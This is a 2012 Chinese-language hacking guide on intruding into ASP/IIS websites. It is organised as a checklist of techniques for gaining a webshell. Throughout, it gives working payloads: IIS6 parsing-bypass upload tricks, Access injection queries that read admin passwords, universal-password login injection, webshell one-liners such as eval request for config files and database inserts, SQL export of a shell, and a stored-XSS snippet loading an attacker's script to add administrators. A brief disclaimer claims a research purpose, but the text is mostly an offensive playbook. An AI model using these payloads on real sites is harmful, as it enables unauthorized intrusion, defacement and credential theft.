整理 asp 漏洞与入侵方式

By zcgonvh(zcgonvh@rootkit.net.cn)
Blog：z-cg.com
2012-08-13

0x00 前言

整理思路时顺手做的总结，菜比文章自娱自乐，发出来权当科普，大牛们无视。

由于大多时候 asp 都是与 IIS 配合使用，传说中的 iasp 极为罕见，所以这里情形均假设为 ASP+IIS 环境。

注：文档中所有神兽都可以右键->复制然后直接粘贴到文件夹中。另：不保证工具的安全性，为保证系统安全请在虚拟机中执行或使用沙盘（本人只保证沙盘的绝对安全）。

免责声明：本文档旨在安全研究，通过探讨攻击原理从而形成防御对策。实战中请确认已获取目标站点站长授权或本地搭建测试系统操作。本人对因本文档所述攻击方法而造成的各种直接与间接损失不负有任何法律责任。

0x10 WEBDAV

虽然这东西不大常见基本被所有人忽略，但这里也不得不提出来并作为第一项。

究其原因就是虽然管理员一般都把这玩意禁掉，但是没有禁止的情况也不少（IIS6 默认开启此项功能），如果没有禁止的话，权限大的直接 PUT SHELL，权限小但是能列目录的话可以 PROPFIND 列根目录，就算什么权限都没有，也可以在拿到 SHELL 之后 LOCK 一个黑页防删恶心人（开个玩笑，莫当真）。总之先 OPTIONS 一下看看允许的方法是绝对不会吃亏的。

当然我们不能心存侥幸，但是万一呢？

在查看 WEBDAV 时还可以顺便通过返回头确定 IIS 版本与开启的拓展（如.net 或 php），还可以知道是否是 CDN 等一些信息。

PROPFIND、PUT、COPY 等方法直接用 IISWRITE 工具即可，LOCK 方法见附件。

最后，从 http://technet.microsoft.com/找到的 search 数据包提交上去都是 500 错误，求大牛调教。

0x20 IIS6 短文件名漏洞

这个是最近爆出来的，而且**没有补丁**，只有临时解决方案，而微软临时解决方案的普及度可以说相当之低。用这个漏洞可以爆出 web **物理路径**下**全部**的文件，虽然仅仅是 8.3 命名规则，但这也已经足够了。

如果扫出了 RAR、7Z、ZIP 等文件，再配合自己手工生成字典猜解剩下的几个字符，那么离下载也就不远了。如果是 LOG、BAK、SQL、MDB 等文件，虽然这些文件在.net 环境下不能下载，但是配合一些任意文

件下载漏洞也是可以利用的，而且仅 asp 而无.net 拓展的 iis 也不少见。

工具见附件，漏洞看似鸡肋但有些时候会达到意想不到的效果。举个例子：某站主站有且只有爆绝对路径漏洞一个：d:\webroot\website1\，旁站只有 asp 鸡肋注入漏洞一个，可联合查询但无后台。

一般来说这样近乎无解，但是通过这个漏洞可以扫出一些敏感目录。假设扫到：/adm12345~1/，之后猜解得/adm1234567890/。继续扫描得到数据库：/adm1234567890/db/admdata.asp，由于添加防下载表，数据库无法下载。

这时我们可以利用上面的那个鸡肋注入，尝试构造语句：

```
union select 1,2,3,4 from [d:\webroot\website1\adm1234567890\db\admdata.asp].adm
```

来猜解表名，构造语句：

```
union select 1,adm_pwd,3,4 from [d:\webroot\website1\adm1234567890\db\admdata.asp].adm
```

来猜解表名，构造语句：

```
union select 1,adm_pwd,adm_name,4
from [d:\webroot\website1\adm1234567890\db\admdata.asp].adm where adm_id=1
```

来得到最终用户名和密码。

当然，以上都是我 YY 出来的过程，但并不是完全没有可能的，用一个简单的漏洞测试系统就可以完整的呈现上面的过程，漏洞测试系统见附件，其中的 test.mdb 就是模拟上面的 admdata.asp。

总之就是，无论信息多少、完整不完整，有总比没有强。

另：这程序有 BUG，扫描有可能不全，而且有时候会扫出一些根本不存在的目录/文件。由于不会写多线程，同时不熟悉 JAVA，写出的程序效率不能忍受不得不继续使用此程序。求大牛修改此程序，如果能加上在目录中递归扫描功能就太好了。

0x30 网站源代码

查看网站源代码十分重要，从中可以获得许多重要信息。前台可以获取上传文件目录、某些生成文件目录等，甚至有的时候会直接获取后台目录（曾经查看源代码获得目录名长度在 20 位以上的后台目录）；而后台表单的 ID/NAME 值往往就是数据库中字段的值（很多程序猿有这种编程习惯）；某些上传页面也会存在一些隐藏表单从而可以修改上传路径等（参见未验证的上传页面一节）；在有些站点的注册页面会提交一个值用来指示用户的权限，而服务端没有进行验证，这样通过修改表单的值便可以直接注册管理员账户。

同时，不要局限于 HTML 代码，某些 JS 也有可能泄露非常重要的信息。养成打开浏览器的调试窗口来查看源文件是一个很好的习惯，相信我绝对不会错的。

查看源代码还有一个好处就是可以“顺手”访问到绝大多数的页面，这对于查找 sql 注入、爆绝对路径路径都是很有帮助的。顺便提一句：访问 conn.asp 等数据库连接页面有时会有惊喜，虽然几率很小但万一呢？

查看源代码不会花费多长的时间，但带来的惊喜则可能是无限的。

0x40 网站备份文件、说明文件、数据库备份文件与 robots.txt

0x41 网站备份文件

大多时候仅限于非虚拟主机，基本都是类似于 web.rar 的名字，这人人都知道，但不是这一节的重点。

这一节的重点是如网站有二级目录 http:://www.xxx.com/abc/的话，可尝试下载 abc.rar 等（这个可能在本级目录或上级目录）；如果是二级域名 http://fuck.xxx.com/的话，可以尝试下载 fuck.rar 等。

不要以为这个方式过于取巧，倒在这一点上的网站不知凡几。当你历尽千辛万苦旁注跨目录得到 SHELL，然后看到目标站根目录躺着个 web.zip 的时候，这会让人抓狂的。

0x42 说明文件

说明文件则是例如 readme.txt、说明.txt 等文件，在绝大多数时候这些文件中记录着一些敏感信息----最离谱的一次直接找到了后台的默认密码 admin123qwe 然后成功登陆（可能是管理员觉得这不是弱口

令就没有更改)。

0x43 数据库备份文件

数据库备份文件大多在/admin/databackup/、/admin/backup/等类似的目录中，或许以前找出这些文件/目录很麻烦，但是别忘了，我们有短路径漏洞扫描工具，而数据库备份文件名称大多都是按日期规则命名的，构造字典扫描，之后下载->破解->进后台，一套连招直接搞定非常有快感。

0x44 Robots.txt

这个自不用多说，如果这里面没有任何信息，那么使用 googlehack 发现敏感信息的几率要提升不少。

0x50 未验证的上传页面

0x51 经典的 upload.asp/upfile.asp 组合

不加 session 验证的 uploader 无疑是个悲剧。这里不得不说经典的 upload.asp/upfile.asp 组合，之所以说它经典是因为只要一句 javascript，就可以上传 jpg 后缀的马获得 shell，改包截断都嫌麻烦。代码如下:

```
Javascript:document.getElementsByName("filepath")[0].value="/1.asp;";void 0;
```

绿色部分自行换成表单中类似的地址，例如 uppath，path 之类，记得有三四种的样子。此上传测试站点可以在附件中得到。

0x52 与之类似的上传漏洞

而另外的一种上传漏洞便是存在隐藏的表单项如 fileext、rename、filetype 等。fileext 定义允许的文件后缀，添加 asp 即可跳过验证；rename 可以重命名上传文件，设成 1.asp;来进行 IIS 畸形解析是很有效的方法；而将 filetype 设成空或无效的值有可能导致验证模块完全失效。以上种种都是曾经遇到的情况，虽然在现在各种建站系统的普及下已经不常见，但记住总是没错的。

要记住一点：上传页面作者≠网站作者≠站长，网站作者很可能只知道使用上传模块的功能而不知道验证是否安全，站长很有可能根本就不知道上传页面有某个功能从而形成对策，而这个功能却完整的体现在网页的源代码中。

所以看到可疑的表单/querystring 变量就一定试试。还是那句话，万一呢?

最后：记得查看源代码！上传页面的 action 包含的 querystring 也有很大的几率泄露信息，而在看到上传成功/失败的提示框之后不要着急关闭页面，再查看源代码以获得其余敏感信息，同时仔细分析并与上面的参数形成一一对应的关系。

0x53 黑名单验证

虽然已经不常见但还是要提一句，在上传无果的情况下不妨先传个.fuck 文件与.asp;jpg 来尝试，第一个是为了查看是否是白名单，第二个则是查看验证后缀是否严格。最后，有些时候大小写变换会有不同的效果（虽然很罕见），可以自行修改尝试。

0x54 shtml/shtm/stm 文件爆源码

如果可以上传 shtml/shtm/stm 文件，则可以上传一个下面 SSI 指令的文档并访问来读取网站的任何文件。代码如下:

```
<!--#include file="FILE_TO_READ"-->
```

其中 FILE_TO_READ 的值需替换为需要读取的文件路径，另：记得查看源代码，<% %>会被浏览器解释为一对完整的 HTML 标签从而不会显示所有内容。

0x55 其他方式

大致还有 0x00 截断；文件名最后加 0x2e（.）或 0x20（空格）；修改表单创建目录；双文件上传等，由于普及度很高就不做赘述。eweb、fck 等编辑器突破方式基本都知道，不提。

这里提供了 eweb 与 fck 的利用方式总结。其中 eweb 只提供两个上传 poc 用以对应两个版本，fck 总结来自百度，详见附件。

另外要提及一点：如果是黑名单验证但是过滤了所有可执行后缀，同时服务器开启了 php 拓展，那么

尝试上传 php 来得到 SHELL 不失为一个可行的方案。

0x56 MIME 类型检查

由于 asp 很少见，故略过不谈，详情请查看附件中

Upload_Attack_Framework.pdf

这绝对是本好书，很不错的总结。

0x57 一个偷懒用的 JS 提交代码

最后给出一个 JS 代码，用来提交类似于 eweb 那种没有上传按钮的表单，免去构造本地页面的麻烦（如果有 referer 验证就那就更麻烦了）。

```
javascript:document.forms[0].submit();
```

蓝色的 0 请自行修改为对应的表单索引，0 是第一个，1 是第二个。

0x60 留言板攻击与非法注册

0x61 留言板攻击

许多的建站系统都会附带一个留言板，为站点的来访者提供反馈的途径---虽然在我看来这大多情况下是无用的。而在某些时候，一个留言板恰恰可以造成整个安全系统的崩溃----留言板会向数据库写入数据，同时用户提交的代码会在后台完全显示。第一种可能造成数据库插马，第二种则可能造成严重的 XSS（或许说是 CSRF 更恰当些？）。

数据库插马是一个很古老的话题，原理就是在 access 文本字段直接插入经过 access unicode 压缩后的字符，在字段 unicode 压缩选项开启的情况下（默认开启），储存于 access 中的字符会自动转换为对应的 ascii 字符。

具体原理就是这个，看不懂的话其实可以无视，知道怎么用即可。其中涉及到一个 unicode 压缩算法，这个算法到现在我也没有找到，虽然有工具但是逆向不过关，求大牛分析算法，万分感谢。

这个其实很考验人品，因为首先需要知道数据库路径，其次数据库需要为 asp 或 asa 等可执行的格式，最后需要数据库没有防下载表或<%等字符。最后如果人品差的话，插入的一句话最后的闭合符号%>会变成%?，这样一次失败，断无再次成功可能。

工具见附件，偷懒的话可以使用下面代码插入一句话，密码是 f，这个一句话经测试成功率较高，密码是 a 的一句话则经常会丢失闭合符号从而使得插马失败。

```
╋癥污爝煥敵瑽∨≦┫>>
```

之后便是 CSRF 添加管理员，具体参见

http://forum.90sec.org/viewthread.php?tid=2610

关键代码如下：

```
</textarea><script>s=document.createElement("script");s.src="JsFilePath";document.getElementsByTagName("head")[0].appendChild(s);</script>
```

其中 JsFilePath 替换成你的 JS 地址。

利用代码的最后还可以加入给自己的站点 POST 信息来告知 CSRF 已经生效，同时自己站点接收端调用邮箱发信模块/短信发送模块来进行提醒，以做到第一时间进行下一步操作。代码很简单不做赘述。

0x62 非法注册

非法注册则是利用验证不严格来注册一些本不能注册的账户（例如非法的名称或非法的权限），其中构造非法的权限在“网站源代码”一节已有提及，在此不多叙述。

而构造非法名称与其类似，由于有些站点会为用户创建个人目录，而有些程序猿直接用用户名称作为目录名，如果注册一个 1.asp 的用户，那么这就可能被利用。当然有些程序猿想到了这一点，从而自作聪明的使用了前台 JS 验证，这是非常不明智的，还是那句话，打开调试器查看源码吧，看到这样的 JS 就直接干掉他，然后注册，如果成功的话则利用正常的功能上传头像等包含一句话木马的文件，之后菜刀连接即可。

如果有服务端验证也不要着急下结论，检查程序猿过滤的是哪些字符。曾经在尝试创建 1.asp 时无果，经过其他方式获取 shell 后读取源码，发现程序猿过滤的关键字不是.与;，而是 asp 与 asa。当时真的是太后悔了，明明与胜利只相差一步却由于细心与耐心不足误入歧途，令人很不舒服。

0x70 未经授权访问的后台文件

同样的，后台页面中某个不加验证的页面更是个悲剧。如常见的/admin/left.asp，从这里面可以找到各种敏感信息，包括但不限于编辑器路径、站点绝对路径、有无数据备份等……

如果未经授权访问的文件是数据库备份文件，而表单中又存在数据库路径时，那么无论是下载数据库还是上传改表单都是有可能成功的。

另外，注意在浏览器弹出窗口/转向之前查看源代码，不止一次遇到后台直接使用 JS 跳转的了。

最后，便是后台的各种 JS 文件，曾经在某个站看到了一段代码，大致是以下内容:

```
success: function(msg) {
if (msg == "success") {window.location.href = "ManagerPage.aspx?name=" + name;}}
```

由于过去有一段时间，前后的内容忘了，大致就是 ajax 提交密码，成功就跳。

当然在一开始我不知道这是什么页面，以为就是登陆后的主页（因为这段代码在 login.js 还是类似名字的一个文件中，具体忘了），直接访问提示未授权，然后构造 ManagerPage.aspx?name=admin 访问，直接跳到了管理员管理页面，权限是超级管理员，之后就是添加超级管理员，登陆。

0x80 万能密码与登陆框注入

0x81 万能密码

严格上说万能密码和登陆框注入是一个原因，能用万能密码的肯定能注入跑出东西来，但谁还会在有后台的情况下不进后台而去注入呢？.net/php 能直接写 shell 的不算。

由于我们不知道后台的查询语句，所以万能密码大多时候只能靠积累，具体见 TXT 文档，一个不行就多试试，写个自动提交的工具很方便。

还有另一种“万能密码”，用上了注入的知识。这种方式我以前从来没看到过，具体请参考:

http://forum.90sec.org/thread-3298-1-1.html

关键代码如下:

帐号: s' union select 1,2,'7a57a5a743894a0e',4,5,6 from admin

密码: admin

0x82 登陆框注入

Asp 登陆框注入的情况真的不多，杨凡大牛前段时间发的文档中有一个

学生 Desperado 作品: 登陆框注入实例.pdf

这个文档作为实例很有参考价值，下载地址见附件。

0x90 注入攻击

这个没什么好说的，主要是看对注入点的敏感程度以及注入语句的构造，工具在很多情况下是不好用的。而对于 asp 的站点而言由于大多时候是 access 数据库，那么掌握高级注入中的偏移是很重要的。

另外: 查找注入点时**一定不要放弃任何一个带有参数的链接**。曾经有一次在某站多方查找漏洞无果，偶然间看到了源代码中一个 img 标签调用了 showimg.asp，习惯性的 and 1=1; and 1=2 发现漏洞，之后盲注成功获取账号密码，虽然 MD5 没有破解出来（可惜了，还想看看他的漏洞代码），但是查找注入的方式无疑是成功的。

偏移的知识见附件，就是下面那篇文档中的百度文库链接，下载下来方便查看。

实例文档依旧是前段时间杨凡大牛发的文档:

学生 Allriseforme 作品: 活学活用偏移注射.pdf

把注入攻击放在第九位是为了说明很多情况下注入攻击并不是一个很好的方式----尤其是在你千辛万苦的爆出用户名和密码，结果发现没有后台来让你登陆的时候。

最后，各种查询页面、提交页面甚至是注册页面都有可能存在 POST 型注入，一定要留心并加以尝试。在各种注入都被服务器端拦截的情况下，尝试 cookie 注入可能会有惊喜。

0xA0 后台功能利用

无论是注入、万能密码，还是非法注册、亦或是社工，当我们进入后台，就要进行一系列工作来获取 WEBSHELL。

0xA1 配置文件插马

这操作起来再简单不过了。第一种情况便是程序猿将配置保存在一个 asp 中然后 include，这样的话便要插入

```
"%><%eval request("a")%><%a="
```

从而闭合前后脚本标记与双引号。这种方式需要知道对方配置文件的位置，通过短文件名漏洞利用工具来扫描是不错的选择。另外，这个功能需要慎重使用，一旦出错将导致整个网站瘫痪。

第二种情况是以数据库方式储存网站配置，这种方式与留言板插马如出一辙，具体参见留言板攻击与非法注册一节。

0xA2 数据库备份

如果存在数据库备份同时可以看到数据库路径，那么修改表单为上传的图片马来获取 SHELL 是很方便的，如果表单项是只读，那么使用 JS 语句：

```
Javascript:document.getElementById("ID_FOR_DATAPATH_ITEM").removeAttribute("readOnly");void 0;
```

或

```
Javascript:document.getElementById("ID_FOR_DATAPATH_ITEM").disabled="";void 0;
```

来取消文本框的只读方式，请自行将 ID_FOR_DATAPATH_ITEM 的值修改为表单中对应 ID，同时使用哪个需要根据表单决定，第一个适用于配置 readonly 属性的文本框，第二个适用于配置了 disabled 属性的文本框。另外，你也可以使用语句：

```
Javascript:document.getElementById("ID_FOR_DATAPATH_ITEM").value="YOUR_SHELLPATH_FOR_UPLOADED";void 0;
```

来直接修改表单中的值，这也是很方便的。

当然，使用抓包提交或拦截 HTTP 请求也可以做到这一点，不过有更简单的方法为什么不用呢？

如果程序猿猥琐一些，会验证是否是一个完整的数据库，这时我们可以上传一个带有一句话的完整的数据库来进行备份。

有些时候备份功能允许我们自定义备份的目录，这时可以创建一个类似于 fuck.asp 的目录从而利用 IIS 解析漏洞----这在成功的将一句话插入数据库结果发现数据库格式为 MDB 或其他不可解析的格式时尤为有用。而由于我们“合法地”创建了不合法的目录，利用一些任意目录文件上传漏洞将一个图片格式的木马上传到这个目录也是非常不错的选择（例如可自定义上传路径但文件类型验证非严格的上传）。而在那些可以自定义备份文件名称的备份中，无论是 0x00 截断还是提交类似于 fuck.asp;shit 的文件名来备份我们已经插入一句话的数据库都是可行的取得 SHELL 的方法。

最后，还是那句话：记得看源码。曾经见过一个数据库备份，里面只有一个大大的按钮：备份。但悲剧之处在于隐藏着一个含有数据库路径的表单，之后的结果自不用说。

这里提供了一个带有一句话木马的数据库，密码是 f，详见附件。

0xA3 后台中的上传页面

后台中往往有着一些特殊的上传页面用来上传新闻中的附件等，这些上传页面一般加了 session 验证，所以在一般情况下是不能访问的。而这些上传页面有可能存在很大的漏洞----如任意文件上传之类。

如果存在任意文件上传但找不到上传后的路径，请返回前台仔细查看。曾经在某套系统中遇到过这种情况，当时白白耗费了大量的时间。

这里要提另外一种上传类型：

Upload.asp?id=1&path=uploadfiles/&ext=asp&type=1&rename=1.asp;

其实这与上传漏洞一章中修改表单并无实质性区别，区别仅仅是一个不需验证一个需要验证；一个是以表单形式 POST 提交另一个是以 querystring 形式 GET 提交而已。注意黄绿色的参数值，类似于这些都是有可能造成漏洞的地方。

顺便提一句：由于是 querystring 形式，进行二次 URL 编码来绕过验证在有些时候是有效的。

最后，如果后台提供了修改上传目录的选项，那么将目录名改成 fuck.asp 来利用 IIS6 解析漏洞是很有效的。如果如果可以修改上传类型，那么可以添加 asp 来上传；如果过滤了 asp，那么添加 cer、cdx 等其他可执行类型或 asaspp、ccerer 等类型也是有可能突破的。

0xA4 目录遍历与任意文件下载

这多见于某些修改过的编辑器与特殊的后台功能模块。这里其实没什么可说的，唯一需要注意的就是一定要擦亮双眼来寻找那些不明显的模块，同时时刻注意地址栏是否有例如 path=uploadfiles/一类的参数。另外，如果目标页面是在一个 Iframe 中，记得右键查看它的地址或干脆直接将它请出 Iframe；如果明显是通过 POST 或 AJAX 提交的数据，请通过查看隐藏表单/抓包来应对。

0xA5 利用 SQL 执行功能导出 SHELL

如果有不常见的 SQL 执行功能的话，可以使用语句：

```
SELECT '<%execute request("a")%>' into [users] in
'DRIVE:/PATH/fuck.asp;.xls ' 'excel 8.0;' from users
```

来导出 SHELL，其中 users 为已知的表，绿色部分为绝对路径。当然，这仅限于 ACCESS 数据库，如果是 MSSQL 数据库，则可以使用差异备份的功能来获取 SHELL。由于差异备份基本耳熟能详，在此不做赘述。

0xA6 模板/JS 等生成页面

有些页面是可以自己命名文件的，那么可以在内容中写入一句话，之后名称填写 fuck.asp;来利用 IIS 解析漏洞。这个由于接触的少，没有什么值得一说的细节方面。还有一些可能会生成静态页面，如果能利用的话于此大同小异。

0xB0 其他

Asp 站点的漏洞自然不止这些，等待补充，这里补充几点不知道放在哪里的东西。

0xB1 细心，耐心与笔记

如果不细心，可能很多信息会失之交臂；如果没有耐心，可能上一次的成功就是最后一次。

在入侵的时候时刻记录笔记，在成功/失败之后及时整理并反思是非常重要的。

0xB2 阅读源码

无论通过何种方式获取到源码，阅读源码来挖掘漏洞都是接下来第一步要做的。

需要查看的第一点就是数据库连接文件，如果是 access 数据库则尝试解密并登陆。接下来是上传模块与后台（注册用户权限）验证模块，最后是各种查询模块。一般来说 asp 不会是非常大的站点，挖掘漏洞也不是很难。

最后，遇到前台带有任意文件下载漏洞的站点仅仅下载数据库连接文件然后下载数据库并解密最后登陆后台并不是很好的做法----因为在大多时候都是 MD5 加密，而不能破解的 MD5 有很多。当然并不是说不要下载数据库，而是说在下载数据库的同时顺便下载它的上传模块然后分析可能存在的上传漏洞有时候会更简单容易一些。

0xB3 判断是否是 JS 验证

如果在输入时/提交时立刻弹出对话框，那么有很大的几率是本地 JS 验证，拿起调试工具干掉 JS 吧！

0xB4 一个关于 IIS6 解析漏洞的小知识

凡是 IIS6 自带的解析对象都可以利用 IIS6 解析漏洞，例如 1.shtml;.jpg 可以作为 shtml 文件解析从而爆出源码，1.cer;.jpg 可以当做 cer 解析等等。全部可用的拓展名请查看 IIS 默认配置。

0xB5 狗、神、盾

随着各种服务器防护软件的普及，入侵的难度也在一步步加大，而如何绕过这些防护软件则成为一个很热门同时也很重要的话题。

由于对这些知识研究不深，所以不做任何总结。看来平日的积累是最重要的。

0xB6 IIS7

由于 IIS7 少了重要的解析漏洞，所以难度大了许多。细心查找上面所写的不需要解析漏洞的漏洞吧，除此之外别无他法。

0xB7 COOIKE 伪造，百度谷歌搜索 CMS 漏洞

之所以把它放在这里是因为一般情况下你肯定是不知道后台所需的 COOKIE 形式的，即使程序猿比较傻逼在打开后台页面时自动初始化 COOKIE 也很难根据 COOKIE 的名称猜到合适的值。如果真的能伪造的话，那么恭喜你撞大运了。

而另一种 COOKIE 伪造则出现在某些具有注册会员功能的页面，大多是一些 CMS。有时程序猿会通过判断 COOKIE 中某个值来判断权限（经常是 level、admin、is_admin 之类的名字），而这个 COOKIE 在普通账户权限下可能被赋予成 0、false 而管理员则是 1、true 之类。如果见到这种 COOKIE，修改一下有可能会得到惊喜（记得查看网页源文件）。

说了这么多只是为说明一点：遇到 CMS 先搜漏洞或从官网下载源码挖掘漏洞（COOKIE 属于注册用户权限验证模块），黑盒分析一个 CMS 存在的漏洞太难了，如果有源码会方便许多。如果是不知名的 CMS 那么还是慢慢分析吧，。

0xB8 编辑器后台

这里最典型的就是 eweb，由于 eweb 上传页面不需要任何验证，同时编辑器配置与后台分离，这在许多时候为入侵带来了极大地便利。例如通过弱口令/下载数据库破解/未验证的 admin_style.asp（低版本）等均可以进入后台，之后添加 asaspp 上传类型上传来秒杀之。

我很诧异作者既然写了过滤代码为什么不使用 DO 语句来循环而是仅仅过滤一次，难道是不了解这方面？

最后，无数据库版本的 eweb 可以尝试配置文件插马，成功与否就看天意了（未尝试）。

0xB9 日志 GETSHELL

日志 GETSHELL 是某些日志记录（大多是防注入）直接把用户的行为（如 request string、user-agnet 等）记录到文件中，而这个文件在网站目录下同时是 asp 格式，一般来说都是整站程序自带的记录功能，不适用防火墙。由于条件苛刻同时需要知道日志文件路径，很鸡肋。

大多时候提交 select ')<%eval request("fuck")%>就能插入一句话了，由于并没有遇到这种情况，这是通过别人文档得出的结论，真伪还有待验证。

0xC0 附件

0xC1 沙盘 sandbox

双击神兽获取沙盘

0xC2 LOCK 数据包

双击神兽查看
LOCK数据包

0xC3 IISWRITE

双击神兽获取工具

0xC4 ACCESS 跨库查询测试站点

双击神兽获取
测试站点

0xC5 IIS 短文件名漏洞利用工具

双击神兽获取工具

（工具需要 JAVA 运行环境）

0xC6 经典上传漏洞测试站点

双击获取测试站点

0xC7 eweb 与 fck 漏洞资料

双击神兽获取
eweb+fck漏洞资料

0xC8 lake2 一句话加密工具

双击神兽获取工具

0xC9 留言板 CSRF 测试站点与利用代码

双击神兽获取
测试站点

双击神兽获取
利用代码

0xCA 万能密码列表

双击神兽查看
万能密码列表

0xCB ACCESS 偏移注入知识

双击神兽获取
偏移注入文档

0xCC 带有一句话木马的数据库

双击神兽获取
数据库

0xCD 杨凡大牛发出的文档

http://down.f4ck.net/doc/MyStudent.rar

0xCE Upload_Attack_Framework 文档

双击神兽获取文档

0xD0 参考资料

http://www.baidu.com/

http://www.google.com/

http://technet.microsoft.com/zh-cn/library/aa142897

http://www.freebuf.com/articles/4908.html

http://zone.wooyun.org/content/487

http://forum.90sec.org/viewthread.php?tid=2610

http://forum.90sec.org/thread-3298-1-1.html

http://tieba.baidu.com/p/1282700392

Upload_Attack_Framework.pdf

by zcgonvh

2012-08-13